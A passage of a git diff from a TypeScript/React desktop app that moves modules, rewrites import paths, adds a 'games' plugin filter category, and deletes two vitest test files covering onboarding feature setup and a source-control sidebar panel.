-    expect(deps.storage.get(ORCHESTRATION_ENABLED_STORAGE_KEY)).toBe('1')
-  })
-
-  it('keeps main’s skill selection but skips permissions when the Computer Use helper is unavailable', async () => {
-    // Missing helpers report every permission ungranted; do not call openSetup, which would throw.
-    const unavailableStatus: ComputerUsePermissionStatusResult = {
-      platform: 'darwin',
-      helperAppPath: null,
-      helperUnavailableReason: 'Orca Computer Use.app was not found',
-      permissions: [
-        { id: 'accessibility', status: 'not-granted' },
-        { id: 'screenshots', status: 'not-granted' }
-      ]
-    }
-    const openComputerUsePermissionSetup = vi.fn(async () => OPENED_COMPUTER_USE_SETUP)
-    const deps = createDeps({
-      getComputerUsePermissionStatus: vi.fn(async () => unavailableStatus),
-      openComputerUsePermissionSetup
-    })
-
-    const result = await runOnboardingFeatureSetup(
-      { browserUse: true, computerUse: true, orchestration: true, linearTickets: true },
-      deps
-    )
-
-    expect(result.skillNames).toEqual([
-      'orca-cli',
-      'orca-computer-use',
-      'orchestration',
-      'orca-linear'
-    ])
-    expect(result.computerUsePermissionsOpened).toBe(false)
-    expect(openComputerUsePermissionSetup).not.toHaveBeenCalled()
-    expect(result.warnings).toContainEqual({
-      featureId: 'computerUse',
-      message: 'Orca Computer Use.app was not found'
-    })
-  })
-})
diff --git a/src/renderer/src/components/onboarding/onboarding-feature-setup.ts b/src/renderer/src/components/onboarding/onboarding-feature-setup.ts
index c0a5edb7604..35751f6c3aa 100644
--- a/src/renderer/src/components/onboarding/onboarding-feature-setup.ts
+++ b/src/renderer/src/components/onboarding/onboarding-feature-setup.ts
@@ -14,7 +14,7 @@ import {
   ORCHESTRATION_ENABLED_STORAGE_KEY,
   ORCHESTRATION_SETUP_DISMISSED_STORAGE_KEY,
   notifyOrchestrationSetupStateChanged
-} from '@/lib/orchestration-setup-state'
+} from '@/components/orchestration/setup/orchestration-setup-state'
 import type { EventProps } from '../../../../shared/telemetry-event-classification'
 import type { BundledSkillInstallState } from '@/hooks/skills/installation/use-bundled-skill-install'
 
diff --git a/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts b/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts
index 5b9dc1088da..2ac3833b44e 100644
--- a/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts
+++ b/src/renderer/src/components/onboarding/onboarding-theme-look-settings.ts
@@ -8,7 +8,7 @@ import {
   hasTerminalColorOverrides,
   TERMINAL_COLOR_OVERRIDES_SETTING
 } from '../../../../shared/terminal-themes/terminal-color-overrides'
-import { withTerminalPluginPalettes } from '@/lib/terminal-plugin-palettes'
+import { withTerminalPluginPalettes } from '@/lib/terminal/themes/terminal-plugin-palettes'
 import { terminalThemeUpdate } from '../plugins/state/plugin-theme-apply'
 import { builtInThemeLookId, type ThemeLook, type ThemeLookBase } from './onboarding-theme-looks'
 
diff --git a/src/renderer/src/components/orchestration-crew/CrewAgentIcons.tsx b/src/renderer/src/components/orchestration-crew/CrewAgentIcons.tsx
index 3b3e6d9c8a1..02d82401083 100644
--- a/src/renderer/src/components/orchestration-crew/CrewAgentIcons.tsx
+++ b/src/renderer/src/components/orchestration-crew/CrewAgentIcons.tsx
@@ -5,7 +5,7 @@ import { AgentTypeIcon } from '@/components/agent/icons/agent-type-icon'
 import { cn } from '@/lib/class-names'
 import { getAgentLabel } from '@/lib/agent-catalog/agent-catalog'
 import { mapAgentStatusStateToVisualStatus } from '@/lib/agent-status/aggregation/worktree-agent-status'
-import { getWorktreeStatusLabel } from '@/lib/worktree-status'
+import { getWorktreeStatusLabel } from '@/lib/workspace/activity/worktree-status'
 import type { WorktreeStatus } from '../../../../shared/worktree-status-rollup'
 import {
   useAgentMessageSenderViews,
diff --git a/src/renderer/src/components/orchestration-crew/CrewRowView.tsx b/src/renderer/src/components/orchestration-crew/CrewRowView.tsx
index 9655e6d0087..0b9644e8ff7 100644
--- a/src/renderer/src/components/orchestration-crew/CrewRowView.tsx
+++ b/src/renderer/src/components/orchestration-crew/CrewRowView.tsx
@@ -2,15 +2,16 @@ import { memo } from 'react'
 import { ChevronDown, ChevronRight, ExternalLink } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
-import { openOrchestrationCrewAgent } from '@/lib/open-agent-message-sender'
+import { openOrchestrationCrewAgent } from '@/lib/agent-session/open/open-agent-message-sender'
 import { cn } from '@/lib/class-names'
 import { useTranslate } from '@/i18n/use-translate'
 import { useUiLanguageRevision } from '@/i18n/use-ui-language-revision'
-import type { OrchestrationCrewRow } from '../../../../shared/orchestration/orchestration-crew'
-import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 import { CrewRowDetails, CrewRowTime as Time } from './CrewRowDetails'
 import { CrewRowMenu } from './CrewRowMenu'
-import { CrewAgentIcons, type CrewRowLook } from './CrewAgentIcons'
+import { CrewAgentIcons } from './CrewAgentIcons'
+import type { CrewRowLook } from './CrewAgentIcons'
+import type { OrchestrationCrewRow } from '../../../../shared/orchestration/orchestration-crew'
+import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
 
 export function IconButton({
   label,
diff --git a/src/renderer/src/lib/orchestration-setup-state.ts b/src/renderer/src/components/orchestration/setup/orchestration-setup-state.ts
similarity index 89%
rename from src/renderer/src/lib/orchestration-setup-state.ts
rename to src/renderer/src/components/orchestration/setup/orchestration-setup-state.ts
index 6dcc6c418da..8b457c7dd1a 100644
--- a/src/renderer/src/lib/orchestration-setup-state.ts
+++ b/src/renderer/src/components/orchestration/setup/orchestration-setup-state.ts
@@ -6,10 +6,6 @@ export function isOrchestrationSetupEnabled(): boolean {
   return localStorage.getItem(ORCHESTRATION_ENABLED_STORAGE_KEY) === '1'
 }
 
-export function hasOrchestrationSetupMarker(): boolean {
-  return isOrchestrationSetupEnabled()
-}
-
 export function markOrchestrationSetupComplete(): void {
   localStorage.setItem(ORCHESTRATION_ENABLED_STORAGE_KEY, '1')
   notifyOrchestrationSetupStateChanged()
diff --git a/src/renderer/src/lib/orchestration-usage-examples.ts b/src/renderer/src/components/orchestration/setup/orchestration-usage-examples.ts
similarity index 96%
rename from src/renderer/src/lib/orchestration-usage-examples.ts
rename to src/renderer/src/components/orchestration/setup/orchestration-usage-examples.ts
index 626e7015de5..f0a8da06e82 100644
--- a/src/renderer/src/lib/orchestration-usage-examples.ts
+++ b/src/renderer/src/components/orchestration/setup/orchestration-usage-examples.ts
@@ -1,6 +1,6 @@
 import { translate } from '@/i18n/i18n'
 import { createLocalizedCatalog } from '@/i18n/localized-catalog'
-import type { SkillUsageExample } from './skills/examples/skill-usage-example'
+import type { SkillUsageExample } from '../../../lib/skills/examples/skill-usage-example'
 
 export const getOrchestrationUsageExamples = createLocalizedCatalog((): SkillUsageExample[] => [
   {
diff --git a/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx b/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx
index 3741f3a20a8..76d6fe4c6bc 100644
--- a/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx
+++ b/src/renderer/src/components/plain-ssh-terminal/PlainSshTerminalView.tsx
@@ -1,17 +1,11 @@
 import { useEffect, useLayoutEffect, useRef } from 'react'
 import { FitAddon } from '@xterm/addon-fit'
-import type { ITheme, Terminal } from '@xterm/xterm'
-import type { GlobalSettings } from '../../../../shared/global-settings-types'
-import type {
-  PlainSshTerminalEvent,
-  PlainSshTerminalOpenResult
-} from '../../../../shared/plain-ssh-terminal'
 import { TerminalKittyKeyboardModeTracker } from '../../../../shared/terminal/protocol/input-modes/terminal-kitty-keyboard-mode-tracker'
 import { translate } from '@/i18n/i18n'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useEffectiveMacOptionAsAlt } from '@/lib/keyboard-layout/use-effective-mac-option-as-alt'
 import { composeActiveTerminalTheme } from '@/components/terminal-pane/appearance/terminal-appearance'
-import { resolveEffectiveTerminalAppearance } from '@/lib/terminal-theme'
+import { resolveEffectiveTerminalAppearance } from '@/lib/terminal/appearance/terminal-theme'
 import { useSystemPrefersDark } from '@/hooks/theme/use-system-prefers-dark'
 import { resolveTerminalMinimumContrastRatio } from '../../../../shared/terminal-themes/terminal-contrast-correction'
 import { syncPreviewTerminalLigatures } from '@/components/dashboard-popout/preview-terminal-ligatures'
@@ -22,6 +16,12 @@ import {
 import { openStandaloneTerminal } from '@/components/standalone-terminal/open-standalone-terminal'
 import { removePlainSshPanel } from '@/ssh/plain-ssh-terminal-panels'
 import { usePluginFontReady } from '@/store/plugins/appearance/plugin-fonts'
+import type { ITheme, Terminal } from '@xterm/xterm'
+import type { GlobalSettings } from '../../../../shared/global-settings-types'
+import type {
+  PlainSshTerminalEvent,
+  PlainSshTerminalOpenResult
+} from '../../../../shared/plain-ssh-terminal'
 
 export type PlainSshTerminalPhase =
   | { kind: 'opening' }
diff --git a/src/renderer/src/components/plugins/catalog/PluginCatalogGroups.tsx b/src/renderer/src/components/plugins/catalog/PluginCatalogGroups.tsx
index 8a92e8610db..0331db71371 100644
--- a/src/renderer/src/components/plugins/catalog/PluginCatalogGroups.tsx
+++ b/src/renderer/src/components/plugins/catalog/PluginCatalogGroups.tsx
@@ -2,7 +2,7 @@ import { AlertTriangle, CircleAlert } from 'lucide-react'
 import type { PluginMarketplaceHostSourceState } from '../../../../../preload/api-types'
 import { translate } from '@/i18n/i18n'
 import { useTranslate, type Translate } from '@/i18n/use-translate'
-import { formatShortTimeAgo } from '@/lib/short-time-ago'
+import { formatShortTimeAgo } from '@/lib/time-format/short-time-ago'
 import { Button } from '../../ui/button'
 import { PluginListGroup } from '../list/PluginListGroup'
 import type { PluginListEntry } from '../list/plugin-list-entries'
diff --git a/src/renderer/src/components/plugins/list/plugin-category-label.ts b/src/renderer/src/components/plugins/list/plugin-category-label.ts
index 0bfb8105642..1098bd4cc6d 100644
--- a/src/renderer/src/components/plugins/list/plugin-category-label.ts
+++ b/src/renderer/src/components/plugins/list/plugin-category-label.ts
@@ -17,6 +17,8 @@ function kindLabel(kind: PluginFilterKind, t: Translate = translate): string {
       return t('auto.components.settings.PluginFilterPopover.commands', 'Commands & panels')
     case 'machines':
       return t('auto.components.settings.PluginFilterPopover.remoteVms', 'Remote/VMs')
+    case 'games':
+      return t('auto.components.settings.PluginFilterPopover.games', 'Games')
   }
 }
 
diff --git a/src/renderer/src/components/plugins/list/plugin-list-filter.ts b/src/renderer/src/components/plugins/list/plugin-list-filter.ts
index d86d4735060..6d27bea8120 100644
--- a/src/renderer/src/components/plugins/list/plugin-list-filter.ts
+++ b/src/renderer/src/components/plugins/list/plugin-list-filter.ts
@@ -34,7 +34,8 @@ const KIND_BY_CATEGORY: Readonly<Record<string, PluginFilterKind>> = {
   panels: 'commands',
   'vm-recipes': 'machines',
   machines: 'machines',
-  recipes: 'machines'
+  recipes: 'machines',
+  games: 'games'
 }
 
 const PLUGIN_FILTER_KINDS = [
@@ -43,7 +44,8 @@ const PLUGIN_FILTER_KINDS = [
   'icons',
   'editors',
   'commands',
-  'machines'
+  'machines',
+  'games'
 ] as const
 export type PluginFilterKind = (typeof PLUGIN_FILTER_KINDS)[number]
 
diff --git a/src/renderer/src/components/plugins/page/PluginContributionActionCommand.tsx b/src/renderer/src/components/plugins/page/PluginContributionActionCommand.tsx
index 8030b0da02c..058b1547891 100644
--- a/src/renderer/src/components/plugins/page/PluginContributionActionCommand.tsx
+++ b/src/renderer/src/components/plugins/page/PluginContributionActionCommand.tsx
@@ -2,8 +2,8 @@ import { useState } from 'react'
 import { flushSync } from 'react-dom'
 import { toast } from 'sonner'
 import { useTranslate } from '@/i18n/use-translate'
-import { executePluginCommand } from '@/lib/plugin-command-execution'
-import { useAppStore } from '@/store'
+import { executePluginCommand } from '@/lib/plugins/commands/plugin-command-execution'
+import { useAppStore } from '@/store/index'
 import type { ActivePluginCommand } from '@/store/plugins/catalog/plugin-contribution-catalog'
 import { Button } from '../../ui/button'
 
diff --git a/src/renderer/src/components/plugins/page/plugin-contribution-action-availability.ts b/src/renderer/src/components/plugins/page/plugin-contribution-action-availability.ts
index d9b24751663..fca72c65538 100644
--- a/src/renderer/src/components/plugins/page/plugin-contribution-action-availability.ts
+++ b/src/renderer/src/components/plugins/page/plugin-contribution-action-availability.ts
@@ -2,7 +2,7 @@ import type { PluginHostListEntry } from '../../../../../preload/api-types'
 import { isWorkspaceScopedPluginContext } from '../../../../../shared/plugins/contributions/plugin-command-contribution'
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
-import { canShowRightSidebarForView } from '@/lib/right-sidebar-visibility'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
 import type { AppState } from '@/store/types'
 
 /** Only these statuses back the Adds rows with Orca's live registrations, so a "try it" does what it says. */
diff --git a/src/renderer/src/components/plugins/state/plugin-theme-apply.ts b/src/renderer/src/components/plugins/state/plugin-theme-apply.ts
index edcc5bcb0e9..9fe4048835f 100644
--- a/src/renderer/src/components/plugins/state/plugin-theme-apply.ts
+++ b/src/renderer/src/components/plugins/state/plugin-theme-apply.ts
@@ -1,7 +1,4 @@
 import { toast } from 'sonner'
-import type { GlobalSettings } from '../../../../../shared/global-settings-types'
-import type { PluginThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-theme-artifact'
-import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
 import { translate } from '@/i18n/i18n'
 import { resolveDocumentTheme } from '@/app-shell/appearance/document-theme'
 import { pluginAppThemeSlotUpdate } from '../../../../../shared/plugin-theme-settings'
@@ -9,19 +6,20 @@ import {
   hasTerminalColorOverrides,
   TERMINAL_COLOR_OVERRIDES_SETTING
 } from '../../../../../shared/terminal-themes/terminal-color-overrides'
-import { withTerminalPluginPalettes } from '@/lib/terminal-plugin-palettes'
-import { BUILTIN_TERMINAL_THEME_NAMES } from '@/lib/terminal-theme'
-import {
-  disambiguatedPluginContentLabels,
-  type PluginContentLabelItem
-} from '../presentation/plugin-name-disambiguation'
-import { useAppStore } from '@/store'
+import { withTerminalPluginPalettes } from '@/lib/terminal/themes/terminal-plugin-palettes'
+import { BUILTIN_TERMINAL_THEME_NAMES } from '@/lib/terminal/appearance/terminal-theme'
+import { disambiguatedPluginContentLabels } from '../presentation/plugin-name-disambiguation'
+import type { PluginContentLabelItem } from '../presentation/plugin-name-disambiguation'
+import { useAppStore } from '@/store/index'
 import { PLUGIN_ACTION_TOAST_DURATION_MS } from './plugin-action-toast'
 import { usePluginIconThemeStore } from '@/store/plugins/appearance/plugin-icon-themes'
 import {
   usePluginThemeStore,
   usePluginTerminalThemeStore
 } from '@/store/plugins/appearance/plugin-themes'
+import type { GlobalSettings } from '../../../../../shared/global-settings-types'
+import type { PluginThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-theme-artifact'
+import type { PluginTerminalThemeRegistration } from '../../../../../shared/plugins/artifacts/plugin-terminal-theme-artifact'
 
 export function isPluginAppThemeSelected(
   settings: Pick<GlobalSettings, 'pluginAppThemeDark' | 'pluginAppThemeLight'>,
diff --git a/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts b/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts
index 335ead0288d..957a9bce9a6 100644
--- a/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts
+++ b/src/renderer/src/components/plugins/view/plugin-view-request-handler.ts
@@ -9,8 +9,8 @@ import {
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host'
 import { detectLanguage } from '../../../../../shared/editor-language/editor-language-detect'
 import { activateAndRevealWorkspace } from '@/lib/workspace/activation/worktree-activation'
-import { canShowRightSidebarForView } from '@/lib/right-sidebar-visibility'
-import { useAppStore } from '@/store'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
+import { useAppStore } from '@/store/index'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
diff --git a/src/renderer/src/components/plugins/view/plugin-view-shown.ts b/src/renderer/src/components/plugins/view/plugin-view-shown.ts
index 8182ed2aee9..000b7a7606f 100644
--- a/src/renderer/src/components/plugins/view/plugin-view-shown.ts
+++ b/src/renderer/src/components/plugins/view/plugin-view-shown.ts
@@ -1,4 +1,4 @@
-import { canShowRightSidebarForView } from '@/lib/right-sidebar-visibility'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
 import type { AppState } from '@/store/types'
 
 /** Why the panel is not on screen now, or null when it is the open right-sidebar tab. */
diff --git a/src/renderer/src/components/provider-accounts/provider-account-scope.ts b/src/renderer/src/components/provider-accounts/provider-account-scope.ts
index 7274131fbc0..510f2c81638 100644
--- a/src/renderer/src/components/provider-accounts/provider-account-scope.ts
+++ b/src/renderer/src/components/provider-accounts/provider-account-scope.ts
@@ -1,6 +1,7 @@
 import { translate } from '@/i18n/i18n'
 import type { Translate } from '@/i18n/use-translate'
 import { getLocalExecutionHostLabel } from '../../../../shared/execution-host'
+import { translateLocalExecutionHostLabel } from '../sidebar/execution-host-label'
 import type { GlobalSettings } from '../../../../shared/global-settings-types'
 import { defaultScopeHost } from '@/runtime/hosts/selection/default-creation-host'
 import type { RuntimeClientTarget } from '../../../../shared/runtime-client-target'
@@ -22,7 +23,7 @@ function remoteServerScopeLabel(name: string, t: Translate = translate): string
 function providerHostScopeLabel(target: RuntimeClientTarget, t?: Translate): string {
   return target.kind === 'environment'
     ? remoteServerScopeLabel(target.environmentId, t)
-    : getLocalExecutionHostLabel()
+    : translateLocalExecutionHostLabel(getLocalExecutionHostLabel())
 }
 
 /** Accounts-pane scope while a remote server owns the roster (#8186). */
diff --git a/src/renderer/src/components/pull-request-page/checks/tab.tsx b/src/renderer/src/components/pull-request-page/checks/tab.tsx
index b87c3675e4d..6d9f51e2b2e 100644
--- a/src/renderer/src/components/pull-request-page/checks/tab.tsx
+++ b/src/renderer/src/components/pull-request-page/checks/tab.tsx
@@ -2,14 +2,14 @@ import { isCompletePRCheckOwner } from '../../../../../shared/github/complete-pr
 import { usePRCheckRefreshOwner } from '@/hooks/use-pr-check-refresh-owner'
 import { getChecksTabSummaryPresentation } from '@/components/github-item-dialog/inspect-pull-request/checks-tab-summary'
 import React, { useCallback, useLayoutEffect, useMemo, useRef, useState } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import {
   createGitHubChecksTabState,
   resolveGitHubChecksTabState,
-  toggleGitHubChecksTabExpandedKey,
-  type GitHubChecksContextOwner
+  toggleGitHubChecksTabExpandedKey
 } from '@/components/github-checks-tab-state'
+import type { GitHubChecksContextOwner } from '@/components/github-checks-tab-state'
 import { getCheckDetailsKey } from '@/components/github/pr-check-presentation'
 import {
   getCheckCounts,
@@ -26,15 +26,10 @@ import {
   canUseGitHubRepoContext,
   getGitHubSourceRuntimeHost
 } from '@/lib/work-items/github/github-source-runtime-context'
-import { getLocalRepoProjectExecutionRuntimeContext } from '@/lib/local-preflight-context'
+import { getLocalRepoProjectExecutionRuntimeContext } from '@/runtime/hosts/preflight/local-preflight-context'
 import { CLIENT_PLATFORM } from '@/lib/workspace/creation/new-workspace'
 import { resolveRepoExecutionHostPlatform } from '@/runtime/hosts/platform/execution-host-facts'
 import { resolveSourceControlActionRecipe } from '../../../../../shared/source-control/ai/source-control-ai-operation-policy'
-import type {
-  GitHubWorkItem,
-  GitHubWorkItemDetails
-} from '../../../../../shared/github/work-item-types'
-import type { PRCheckDetail } from '../../../../../shared/github/check-types'
 import { refreshPullRequestChecks } from './refresh'
 import { rerunPullRequestChecks } from './rerun'
 import { requestPullRequestCheckDetails } from './details-request'
@@ -44,6 +39,11 @@ import { CheckRow } from './row'
 import { ChecksFixDialog } from './fix-dialog'
 import { ChecksTabLayouts } from './layouts'
 import { useTranslate } from '@/i18n/use-translate'
+import type {
+  GitHubWorkItem,
+  GitHubWorkItemDetails
+} from '../../../../../shared/github/work-item-types'
+import type { PRCheckDetail } from '../../../../../shared/github/check-types'
 
 export function ChecksTab({
   item,
diff --git a/src/renderer/src/components/pull-request-page/page/surface.tsx b/src/renderer/src/components/pull-request-page/page/surface.tsx
index b86ed691ee1..15602e80dd4 100644
--- a/src/renderer/src/components/pull-request-page/page/surface.tsx
+++ b/src/renderer/src/components/pull-request-page/page/surface.tsx
@@ -8,11 +8,11 @@ import {
   GitPullRequestDraft
 } from 'lucide-react'
 import { toast } from 'sonner'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useAllWorktrees } from '@/store/slices/worktrees/listing/use-worktree-catalog'
 import { findGithubPrWorkspaceAttachment } from '@/lib/work-items/github/github-work-item-workspace-attachment'
 import { activateAndRevealWorktree } from '@/lib/workspace/activation/worktree-activation'
-import { getWorktreeAttachmentLabel } from '@/lib/worktree-attachment-label'
+import { getWorktreeAttachmentLabel } from '@/lib/workspace/display/worktree-attachment-label'
 import {
   clearGitHubLinkCopied,
   createGitHubLinkCopyState,
diff --git a/src/renderer/src/components/repo/RepoCombobox.tsx b/src/renderer/src/components/repo/RepoCombobox.tsx
index b04d8fdb8f5..1fb831bef90 100644
--- a/src/renderer/src/components/repo/RepoCombobox.tsx
+++ b/src/renderer/src/components/repo/RepoCombobox.tsx
@@ -11,7 +11,7 @@ import {
 import { Popover, PopoverContent, PopoverTrigger } from '@/components/ui/popover'
 import { useAppStore } from '@/store/index'
 import { isGitRepoKind } from '../../../../shared/repo-kind'
-import { searchRepos } from '@/lib/repo-search'
+import { searchRepos } from '@/lib/workspace/catalog/repo-search'
 import { cn } from '@/lib/class-names'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import type { Repo } from '../../../../shared/repo-types'
diff --git a/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.body-work.test.tsx b/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.body-work.test.tsx
deleted file mode 100644
index f4534241e46..00000000000
--- a/src/renderer/src/components/right-sidebar/FolderWorkspaceSourceControlPanel.body-work.test.tsx
+++ /dev/null
@@ -1,384 +0,0 @@
-import { getDefaultSettings } from '../../../../shared/constants'
-// @vitest-environment happy-dom
-import { act, type ReactNode } from 'react'
-import { fireEvent, screen } from '@testing-library/react'
-import { createRoot, type Root } from 'react-dom/client'
-import { afterEach, beforeEach, expect, it, vi } from 'vitest'
-import type { Worktree } from '../../../../shared/worktree/types'
-import type * as WorktreeGitCopy from '@/lib/worktree-git-copy'
-import type * as GitStatusClient from '@/runtime/source-control/git/runtime-git-status-client'
-import type * as GitDiffClient from '@/runtime/source-control/git/runtime-git-diff-client'
-import type * as RepoClient from '@/runtime/source-control/references/runtime-repo-client'
-import { useAppStore } from '@/store'
-import type { AppState } from '@/store/types'
-import { TooltipProvider } from '@/components/ui/tooltip'
-import FolderWorkspaceSourceControlPanel from './FolderWorkspaceSourceControlPanel'
-import { ConfirmationDialogContext } from '@/components/confirmation-dialog-context'
-
-const probes = vi.hoisted(() => ({ visible: new Set<string>() }))
-const pending = (): Promise<never> => new Promise(() => {})
-
-vi.mock('./source-control/sync/git-status-refresh', () => ({
-  refreshGitStatusForWorktree: async (args: {
-    worktreeId: string
-    request?: { onStatusAccepted?: (status: unknown) => void }
-  }) => {
-    args.request?.onStatusAccepted?.({
-      entries: [],
-      conflictOperation: 'unknown',
-      branch: 'refs/heads/feature',
-      upstreamStatus: { hasUpstream: true, upstreamName: 'origin/feature', ahead: 0, behind: 0 }
-    })
-  }
-}))
-vi.mock('./source-control/sync/use-refresh-on-host-contact', () => ({
-  useRefreshOnHostContact: () => {}
-}))
-vi.mock('@/lib/worktree-git-copy', async (original) => ({
-  ...(await original<typeof WorktreeGitCopy>()),
-  resolveWorktreeGitCopyNow: (id: string, hostId: string) => ({
-    worktreeId: id,
-    hostId,
-    transport: { kind: 'local' }
-  })
-}))
-vi.mock('@/runtime/source-control/git/runtime-git-status-client', async (original) => ({
-  ...(await original<typeof GitStatusClient>()),
-  setRuntimeGitStatusUpstreamRefWatch: async () => {},
-  getRuntimeGitHistory: () => pending(),
-  getRuntimeGitSubmoduleStatus: () => pending()
-}))
-vi.mock('@/runtime/source-control/git/runtime-git-diff-client', async (original) => ({
-  ...(await original<typeof GitDiffClient>()),
-  getRuntimeGitBranchCompare: async (_context: { worktreeId: string }, baseRef: string) => {
-    return {
-      summary: {
-        baseRef,
-        baseOid: 'base',
-        compareRef: 'feature',
-        headOid: 'head',
-        mergeBase: 'base',
-        changedFiles: 0,
-        status: 'ready'
-      },
-      entries: []
-    }
-  }
-}))
-vi.mock('@/runtime/source-control/references/runtime-repo-client', async (original) => ({
-  ...(await original<typeof RepoClient>()),
-  watchRuntimeRepoBaseRefDefault: () => () => {},
-  searchRuntimeRepoBaseRefs: async () => ['feature/live']
-}))
-
-// Report a section on screen only when the test made it visible, as a scrolled sidebar would.
-const observed = new Map<Element, IntersectionObserver>()
-class ViewportIntersectionObserver implements IntersectionObserver {
-  readonly root = null
-  readonly rootMargin = '0px'
-  readonly scrollMargin = '0px'
-  readonly thresholds = [0]
-  constructor(private readonly callback: IntersectionObserverCallback) {}
-  report(target: Element): void {
-    const id = target.getAttribute('data-source-control-worktree') ?? ''
-    const bounds = target.getBoundingClientRect()
-    const entry: IntersectionObserverEntry = {
-      target,
-      isIntersecting: probes.visible.has(id),
-      boundingClientRect: bounds,
-      intersectionRect: bounds,
-      rootBounds: bounds,
-      intersectionRatio: probes.visible.has(id) ? 1 : 0,
-      time: performance.now()
-    }
-    this.callback([entry], this)
-  }
-  observe(target: Element): void {
-    observed.set(target, this)
-    this.report(target)
-  }
-  unobserve(target: Element): void {
-    observed.delete(target)
-  }
-  disconnect(): void {
-    for (const [target, observer] of observed) {
-      if (observer === this) {
-        observed.delete(target)
-      }
-    }
-  }
-  takeRecords(): IntersectionObserverEntry[] {
-    return []
-  }
-}
-async function scrollTo(ids: readonly string[]): Promise<void> {
-  probes.visible.clear()
-  for (const id of ids) {
-    probes.visible.add(id)
-  }
-  await act(async () => {
-    for (const [target, observer] of observed) {
-      if (observer instanceof ViewportIntersectionObserver) {
-        observer.report(target)
-      }
-    }
-  })
-}
-let root: Root
-let container: HTMLDivElement
-const refuseConfirmation = async () => false
-
-beforeEach(() => {
-  vi.stubGlobal('IS_REACT_ACT_ENVIRONMENT', true)
-  vi.stubGlobal('IntersectionObserver', ViewportIntersectionObserver)
-  const namespace = new Proxy(
-    {},
-    {
-      get: (_target, method) =>
-        typeof method === 'string' && method.startsWith('on') ? () => () => {} : pending
-    }
-  )
-  vi.stubGlobal('api', new Proxy({}, { get: () => namespace }))
-  vi.useFakeTimers()
-  useAppStore.setState(useAppStore.getInitialState(), true)
-  container = document.createElement('div')
-  document.body.append(container)
-  root = createRoot(container)
-  probes.visible.clear()
-  observed.clear()
-})
-afterEach(async () => {
-  await act(async () => root.unmount())
-  container.remove()
-  vi.useRealTimers()
-  vi.unstubAllGlobals()
-})
-
-function setup(count: number): Worktree[] {
-  const worktrees: Worktree[] = Array.from({ length: count }, (_, i) => ({
-    id: `repo::/child-${i}`,
-    repoId: 'repo',
-    path: `/child-${i}`,
-    branch: `refs/heads/feature-${i}`,
-    head: 'abc123',
-    isBare: false,
-    isMainWorktree: false,
-    displayName: `Child ${i}`,
-    comment: '',
-    linkedIssue: null,
-    linkedPR: null,
-    linkedLinearIssue: null,
-    isArchived: false,
-    isUnread: false,
-    isPinned: false,
-    sortOrder: i,
-    lastActivityAt: 0,
-    hostId: 'local' as const,
-    instanceId: `instance-${i}`
-  }))
-  // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: fixture supplies the catalog, status and probed actions the panels read.
-  useAppStore.setState({
-    settings: getDefaultSettings('/tmp'),
-    activeWorktreeId: 'folder:feature',
-    activeWorkspaceKey: 'folder:feature',
-    activeWorkspaceExecutionHostId: 'local',
-    rightSidebarOpen: true,
-    rightSidebarTab: 'source-control',
-    repos: [
-      {
-        id: 'repo',
-        displayName: 'Child',
-        path: '/repo',
-        kind: 'git',
-        worktreeBaseRef: 'origin/main'
-      }
-    ],
-    worktreesByRepo: { repo: worktrees },
-    folderWorkspaces: [
-      { id: 'feature', name: 'Feature', folderPath: '/folder', projectGroupId: 'group' }
-    ],
-    workspaceLineageByChildKey: Object.fromEntries(
-      worktrees.map((row, i) => [
-        row.id,
-        {
-          childWorkspaceKey: `worktree:${row.id}`,
-          childInstanceId: row.instanceId,
-          parentWorkspaceKey: 'folder:feature',
-          parentInstanceId: null,
-          createdAt: i
-        }
-      ])
-    ),
-    // Changed sections start expanded, so every body would mount without the viewport gate.
-    gitStatusByWorktree: Object.fromEntries(
-      worktrees.map((row) => [row.id, [{ path: 'a.ts', status: 'modified', area: 'unstaged' }]])
-    ),
-    fetchUpstreamStatus: async () => {},
-    getHostedReviewCreationEligibility: pending,
-    fetchHostedReviewForBranch: async () => null,
-    fetchPRForBranch: async () => null
-  } as unknown as Partial<AppState>)
-  return worktrees
-}
-
-async function render(node: ReactNode): Promise<void> {
-  await act(async () =>
-    root.render(
-      <ConfirmationDialogContext.Provider value={refuseConfirmation}>
-        <TooltipProvider>{node}</TooltipProvider>
-      </ConfirmationDialogContext.Provider>
-    )
-  )
-  await act(async () => {
-    await vi.advanceTimersByTimeAsync(0)
-  })
-}
-
-it.each(['off-screen', 'collapsed'])(
-  'keeps selection and draft while %s and resumes the current owner snapshot',
-  async (inactive) => {
-    const worktrees = setup(3)
-    const [first] = worktrees
-    await scrollTo([first!.id])
-    await render(<FolderWorkspaceSourceControlPanel />)
-    const section = container.querySelector(`[data-source-control-worktree="${first!.id}"]`)
